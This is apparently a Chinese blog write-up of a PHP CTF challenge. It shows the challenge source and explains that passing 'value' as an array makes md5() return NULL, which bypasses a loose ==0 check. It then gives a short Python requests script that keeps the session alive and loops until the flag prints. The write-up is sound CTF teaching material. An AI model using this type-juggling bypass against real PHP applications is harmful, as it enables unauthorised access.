
一道练习python脚本的题(保持SESSION情况下爆破)
发布日期:2021-05-08 04:03:26
浏览次数:14
分类:原创文章
本文共 2067 字,大约阅读时间需要 6 分钟。
目录:
先做一做,然后再看wp
源码
<?php error_reporting(0);session_start();require('./flag.php');if(!isset($_SESSION['nums'])){ $_SESSION['nums'] = 0; $_SESSION['time'] = time(); $_SESSION['whoami'] = 'ea';}if($_SESSION['time']+120<time()){ session_destroy(); //这个每隔120秒换一次,}$value = $_REQUEST['value'];$str_rand = range('a', 'z');$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//这个 mt_rand()是返回随机整数的意思。上面这两行,就是从a-z中任意选两个字符,连接在一起//substr(string,start,length),/*如果session的whoami的值和参数value的前两位相等 并 且 value变量的第5位开始往后4位等于0nums就+1,whoami更新,当nums>=10的时候,echo flag*/if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION['nums']++; $_SESSION['whoami'] = $str_rands;//两个随机的字母 echo $str_rands;}if($_SESSION['nums']>=10){ echo $flag;}show_source(__FILE__);?>
一、学到的其他的知识。。。:
- 传参的时候,没有注意看代码,直接传的是字符串,其实应该传入数组的。
- 对md5不够敏感,看到md5,有和0比较什么的,要想一想数组绕过,或者0e或者硬碰撞什么的。
- 写脚本的时候要注意很多地方,这个题,比如,获取下一次的那两个字符,你要知道他们在哪里,然后再去获取。这个比较需要python的编程能力的
- 再就是python脚本的学习了呀
二、开始学习!
这个想要直接传入nums是不现实的。一是他不会这么简单,二是,你好好看代码就知道了。
我们传入value,session中的whoami会与value的前两个比较,
第一次传参:?value=ea
第二次传参:?value=be
???没了what**
后来发现需要传递数组value。。
如果随便的字符串进行md5加密后的5-9位组成的字符串不一定弱等于0. .。
字母开头的字符串 与 0 是弱等于的
var_dump(ac52D)" == 0 //bool(false)
但是数字开头的字符串就不是弱等于的了,
var_dump(5dbaD)" == 0 //bool(false)
所以从后面的判定来看,value就不能够传入字符串,
MD5函数,处理数组的话,会返回NULL,是==0的,所以要用数组来传参数,
所以
import requestsrequest = requests.session()strs=['abcdefghijklmnopqrstuvwxyz']url = "http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value[]=ea"response = request.get(url=url)# print(response.text)这个尝试用的,看那个response.text[:2]取前两位,为什么是前两位,因为页面最前面显示# 的就是前两位是它下一步的字母,这样安排也是为了脚本方便编写。for i in range(10): url_1="http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value[]="+response.text[:2] response=request.get(url_1) print(response.url) #这个输出的是这个http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value%5B%5D=ea if 'flag{' in response.text: print(response.text)
刚开始学习脚本,,,
然后就有flag了
发表评论
最新留言
逛到本站,mark一下
[***.202.152.39]2025年04月07日 07时11分37秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
ASP.NET Core 实战:Linux 小白的 .NET Core 部署之路
2019-03-06
在 Docker Desktop 中启用 K8s 服务
2019-03-06
【带着canvas去流浪】(1)绘制柱状图
2019-03-06
【nodejs原理&源码杂记(8)】Timer模块与基于二叉堆的定时器
2019-03-06
如何查看jsplumb.js的API文档(YUIdoc的基本使用)
2019-03-06
大前端的自动化工厂(1)——Yeoman
2019-03-06
javascript基础修炼(5)—Event Loop(Node.js)
2019-03-06
基于React-Native0.55.4的语音识别项目全栈方案
2019-03-06
数据仓库建模方法论
2019-03-06